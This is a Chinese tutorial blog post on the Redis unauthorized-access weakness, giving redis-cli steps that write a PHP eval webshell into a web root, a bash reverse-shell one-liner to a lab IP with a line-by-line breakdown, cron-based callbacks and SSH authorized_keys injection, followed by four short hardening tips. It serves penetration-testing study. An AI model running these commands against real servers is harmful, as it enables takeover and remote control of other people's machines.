Redis未授权访问漏洞

本文涉及的产品
云数据库 Redis 版,标准版 2GB
推荐场景:
搭建游戏排行榜
云原生内存数据库 Tair,内存型 2GB
简介: 利用Redis实现攻击的三种方式

一、Redis相关知识

1、常见用途

缓存、分布式session、分布式锁、分布式全局ID、计数器、限流、列表、抽奖、标签、排行榜


2、Redis为什么这么流行?

(1)数据类型丰富,应用场景广泛

(2)纯内存的数据结构,读写速度快

(3)功能特性丰富(持久化、事务、pipeline、多语言支持、集群分布式)


3、Redis持久化机制

(1)RDB :Redis DataBase(默认)

(2)AOF :Append Only File

配置:

(1)save 3600 1#自动触发规则

(2)dbfilename dump.rdb #文件名

(3)dir ./ #存储路径

手动触发保存命令: save / bgsave

动态修改配置

config set:动态修改配置,重启以后失效

config set dir /www/admin/localhost_80/wwwroot

config set dbfilename redis.php



二、如何利用Redis实现攻击

1、webshell提权

前提:有HTTP服务器、知道文件保存路径、6379端口开放且无密码

redis-cli -h 192.168.142.66 -p 6379     #连接到6379端口(需要没有设置密码)
config set dir /www/admin/localhost_80/wwwroot     #修改存储路径
config set dbfilename redis.php        #修改文件名(php后缀)
set x " <?php @eval($_POST[cmd]); ?>"  #任意值写入一句话木马
save    #保存
#再用蚁剑连接即可

2、反弹连接

image.png

image.png

2.1、适用:

(1)在内网,只有私有IP

(2)IP动态变化

(3)6379端口不允许入方向

(4)—句话木马被杀软删除


2.2、实现:

1、监听端口

image.png

2、建立连接

(看机器有什么环境,通过命令直接连接,或者访问代码文件)

image.png

image.png

image.png

(*配合msf监听模块使用)


命令解析:
bash -i >& /dev/tcp/192.168.142.44/7777 0>&1
bash -i   ——打开交互式终端
/dev/tcp/192.168.142.44/7777    ——建立TCP远程连接
>&——将标准错误输出合并到标准输出中
0>&1——将标准输入重定向到标准输出中
标准输入(stdin):代码为0,使用<或<<;
标准输出(stdout):代码为1,使用>或>>;
标准错误输出(stderr):代码为2,使用2>或2>>




2.3、总结

流程

1、监听端口

2、执行命令,或者上传payload访问,建立连接


怎么上传?

1、文件上传漏洞

2、写入文件: MySQL、Redis、CMS

3、文本编辑命令: tee (vulnhub-breach). test.py (vulnh

ub-DC9)


怎么执行?

访问或者定时任务自动触发


2.4、Redis写入反弹连接任务

定时任务

Linux cron表达式

image.png

cron文件牛存储路径

image.png



3、SSH key免密登录


3.1、流程

1、客户端生成密钥对(公钥、私钥)

2、客户端把公钥发给服务端保存(正常情况需要密码)

3、客户端用私钥加密消息,发给服务端

4、服务端用公钥解密,解密成功,说明密钥匹配

5、客户端免密登录成功



3.2、Redis利用SSH Key提权流程

1、控制机连接到Redis

2、向$HOME/.ssh/authorized_keys写入公钥

3、ssh -i ./id_rsa user@IP 使用私钥免密登录

4、执行后续操作



三、Redis加固

1、限制访问IP

2、修改默认端口

3、使用密码访问

4、不要用root运行Redis

相关实践学习
基于Redis实现在线游戏积分排行榜
本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
云数据库 Redis 版使用教程
云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore &nbsp; &nbsp; ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库&nbsp;ECS 实例和一台目标数据库&nbsp;RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&amp;RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
相关文章
|
26天前
|
缓存 NoSQL 网络安全
【Azure Redis 缓存】Azure Redis服务开启了SSL(6380端口), PHP如何访问缓存呢?
【Azure Redis 缓存】Azure Redis服务开启了SSL(6380端口), PHP如何访问缓存呢?
|
26天前
|
缓存 负载均衡 NoSQL
【Azure Redis】Azure Redis添加了内部虚拟网络后,其他区域的主机通过虚拟网络对等互连访问失败
【Azure Redis】Azure Redis添加了内部虚拟网络后,其他区域的主机通过虚拟网络对等互连访问失败
|
26天前
|
缓存 NoSQL 安全
【Azure Redis 缓存】Azure Redis 4.0 被扫描到漏洞,如何修补呢?
【Azure Redis 缓存】Azure Redis 4.0 被扫描到漏洞,如何修补呢?
|
26天前
|
缓存 NoSQL 网络安全
【Azure Redis 缓存】在Azure Redis中,如何限制只允许Azure App Service访问?
【Azure Redis 缓存】在Azure Redis中,如何限制只允许Azure App Service访问?
|
27天前
|
缓存 NoSQL Redis
【Azure Redis 缓存】C#程序是否有对应的方式来优化并缩短由于 Redis 维护造成的不可访问的时间
【Azure Redis 缓存】C#程序是否有对应的方式来优化并缩短由于 Redis 维护造成的不可访问的时间
|
27天前
|
缓存 NoSQL Redis
【Azure Redis 缓存】Azure Redis加入VNET后,在另一个区域(如中国东部二区)的VNET无法访问Redis服务(注:两个VNET已经结对,相互之间可以互ping)
【Azure Redis 缓存】Azure Redis加入VNET后,在另一个区域(如中国东部二区)的VNET无法访问Redis服务(注:两个VNET已经结对,相互之间可以互ping)
|
27天前
|
缓存 NoSQL 网络协议
【Azure Redis 缓存】如何使得Azure Redis可以仅从内网访问? Config 及 Timeout参数配置
【Azure Redis 缓存】如何使得Azure Redis可以仅从内网访问? Config 及 Timeout参数配置
|
27天前
|
网络协议 NoSQL 网络安全
【Azure 应用服务】由Web App“无法连接数据库”而逐步分析到解析内网地址的办法(SQL和Redis开启private endpoint,只能通过内网访问,无法从公网访问的情况下)
【Azure 应用服务】由Web App“无法连接数据库”而逐步分析到解析内网地址的办法(SQL和Redis开启private endpoint,只能通过内网访问,无法从公网访问的情况下)
|
29天前
|
缓存 NoSQL 网络协议
【Azure Redis 缓存 Azure Cache For Redis】在创建高级层Redis(P1)集成虚拟网络(VNET)后,如何测试VNET中资源如何成功访问及配置白名单的效果
【Azure Redis 缓存 Azure Cache For Redis】在创建高级层Redis(P1)集成虚拟网络(VNET)后,如何测试VNET中资源如何成功访问及配置白名单的效果
|
1月前
|
NoSQL 关系型数据库 MySQL
无法访问Docker 里的 mysql, redis
无法访问Docker 里的 mysql, redis
15 0